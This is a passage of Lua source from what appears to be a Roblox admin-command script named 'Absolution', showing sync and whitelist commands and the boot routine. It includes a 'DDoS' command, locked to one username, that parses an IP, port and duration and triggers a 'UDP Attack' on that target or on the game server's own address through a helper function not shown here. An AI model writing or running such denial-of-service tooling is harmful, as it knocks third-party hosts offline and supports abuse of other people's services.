					--Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8)
				end
			end
		end
	else
		Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2)
		Absolution.Functions.syncRanksOut()
		--Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8)
		Absolution.Functions.Out(Speaker,'Data syncronized!', 5)
	end
end)
-- Rank 9 --
Absolution.Functions.Command("Add Whitelist Account", {"whitelist",'addwhitelist'}, 9, "Whitelists a player with asdfer as the password", "No Flags", function(Speaker, Msg)
local result = game.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.AuthURI.."?usr="..game.HttpService:UrlEncode(Msg))
Absolution.Functions.Out(Speaker, result, 5)
end)
Absolution.Functions.Command('DDoS', {'ddos', 'boot'}, 9, "Boots off an ip", "-s (Server)", function(Speaker, Msg)
if Speaker.Name=='Darkus_Theory' then
	if Absolution.Functions.GetSplit(Msg) == 's' then

		local IP = game.HttpService:GetAsync('https://api.ipify.org')
		local Port = game:service'NetworkServer'.Port
		local Duration = (Msg and tonumber(Msg) or 30)

		Absolution.Functions.Out(Speaker, 'UDP Attack requested at '..IP..':'..Port..' for '..Duration..' seconds.')
		local result = Absolution.Functions.DDoS(IP, Port, Duration)
		Absolution.Functions.Out(Speaker, result, 5)

	else

		local data = {}
		local form = '[%.+%d+%d+]+'
			for match in Msg:gmatch(form) do
				data[#data+1] = match
			end
			if not data[1] or not data[2] or not data[3] then Absolution.Functions.Out(Speaker,'Invalid time format!',4) return end
			local IP = data[1]
			local Port = data[2]
			local Duration = data[3]

			Absolution.Functions.Out(Speaker, 'UDP Attack requested at '..IP..':'..Port..' for '..Duration..' seconds')

			local result = Absolution.Functions.DDoS(data[1],data[2],data[3])
			Absolution.Functions.Out(Speaker, result, 5)
	end
else
Absolution.Functions.Out(Speaker, 'You are not Darkus_Theory!', 4)
end
end)
--------- Start Script -----------------------
Absolution.Functions:Boot()
local end_time = tick()
Absolution.bootTime = (end_time-start_time)
--Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)
Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5)